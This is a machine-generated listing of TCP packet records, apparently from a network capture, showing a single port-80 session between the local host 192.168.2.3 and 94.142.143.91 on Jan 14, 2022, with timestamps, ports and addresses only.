Jan 14, 2022 05:00:00.518140078 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518157005 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518172026 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518178940 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518184900 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518203020 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518218040 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518222094 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518234015 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518244028 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518250942 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518269062 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518274069 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518285990 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518301964 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518316984 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518333912 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518348932 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518366098 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518383980 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518399000 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518414974 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518426895 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518431902 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518448114 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518451929 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518459082 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518465042 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518465996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518470049 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518476963 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518481970 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518496990 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518500090 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518516064 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518516064 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518533945 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518549919 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518564939 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518579960 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518594980 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518610001 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518625021 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518635988 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518641949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518646002 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518651962 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518656969 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518662930 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518676996 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518682957 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518698931 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518714905 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518729925 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518733025 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518745899 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518757105 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518763065 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518779993 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518791914 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518796921 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518814087 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518820047 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518831015 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518846989 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518861055 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518862963 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518878937 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518891096 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518896103 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518913031 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518937111 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518944025 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518954039 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518954039 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518970966 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.518975973 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.518986940 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.519004107 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.519016027 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.519017935 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.519035101 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.519052029 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.519068003 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.519072056 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.519083977 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.519084930 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.519102097 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.519104004 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.519124031 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.519131899 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.519211054 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.563251019 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.563277006 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.563292980 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.563311100 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.563333035 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.563350916 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.563370943 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.563374043 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.563410044 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.563416958 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.575908899 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.575936079 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.575958014 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.575978041 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.575984955 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576001883 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576009035 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576033115 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576055050 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576056004 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576078892 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576102018 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576102972 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576124907 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576148987 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576157093 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576169968 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576191902 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576200962 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576217890 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576241016 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576240063 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576276064 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576296091 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576299906 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576324940 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576347113 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576356888 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576371908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576390982 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576399088 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576422930 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576442957 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576447010 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576469898 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576491117 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576507092 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576530933 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576551914 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576553106 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576576948 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576597929 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576600075 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576623917 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576646090 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576649904 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576669931 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576689959 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576692104 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576715946 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576738119 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576740026 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576761007 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576781988 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576785088 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576808929 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576829910 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576832056 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576855898 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576878071 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576880932 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576905012 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576924086 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576929092 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576951981 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576972008 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.576976061 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.576998949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577018023 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577022076 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577045918 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577068090 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577069998 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577090979 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577112913 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577115059 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577135086 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577157974 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577158928 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577181101 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577202082 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577203989 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577227116 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577248096 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577249050 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577270031 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577292919 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577294111 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577313900 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577337027 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577338934 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577358961 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577387094 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577388048 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577411890 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577433109 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577438116 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577456951 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577478886 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577491045 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577501059 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577523947 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577538967 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577547073 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577575922 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577589035 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577601910 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577624083 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577625036 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577646971 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577670097 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577675104 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577692032 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577714920 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577719927 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577739000 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577759981 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577764988 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577781916 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577804089 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577806950 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577826977 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577852011 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577867985 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577897072 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577917099 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577918053 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577943087 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577964067 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.577965021 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.577989101 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.578011036 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.578013897 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.578032970 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.578054905 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.578056097 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.578080893 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.578102112 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.578103065 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.578125000 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.578145981 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.578146935 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.578170061 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.578191996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.578195095 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.578214884 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.578237057 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.578238964 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.578259945 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.578282118 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.578289986 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.578305960 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.578327894 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.578334093 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.578438997 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.620210886 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620266914 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620306969 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620346069 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620383978 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620388031 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.620417118 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620425940 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.620457888 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620471954 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.620497942 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620538950 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620553017 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.620577097 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620616913 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620625019 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.620656967 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620693922 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620707035 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.620735884 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620773077 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620786905 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.620814085 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620853901 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620862007 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.620891094 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620929956 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.620939016 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.620970011 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621006966 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621015072 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.621047020 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621084929 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621093035 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.621125937 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621166945 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621171951 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.621205091 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621244907 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621249914 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.621284962 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621321917 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621361017 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621381044 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.621401072 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621416092 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.621445894 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621484995 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621499062 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.621520996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621572018 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.621597052 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621637106 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621676922 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621715069 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621715069 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.621767044 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621767044 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.621803999 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621843100 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621854067 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.621916056 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621953011 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.621965885 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.622004032 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622042894 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622054100 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.622081995 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622117996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622128010 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.622157097 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622195959 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622204065 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.622234106 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622272968 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622278929 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.622309923 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622349024 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622355938 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.622387886 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622426033 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.622435093 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.622463942 CET	80	49905	94.142.143.91	192.168.2.3
